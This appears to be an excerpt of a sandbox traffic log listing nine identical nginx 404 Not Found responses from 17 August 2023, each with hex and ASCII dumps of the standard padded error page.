Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:35:07 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:35:09 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:35:11 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:35:17 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:35:19 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:35:21 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:35:23 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:35:28 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Thu, 17 Aug 2023 12:35:30 GMTContent-Type: text/htmlContent-Length: 564Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
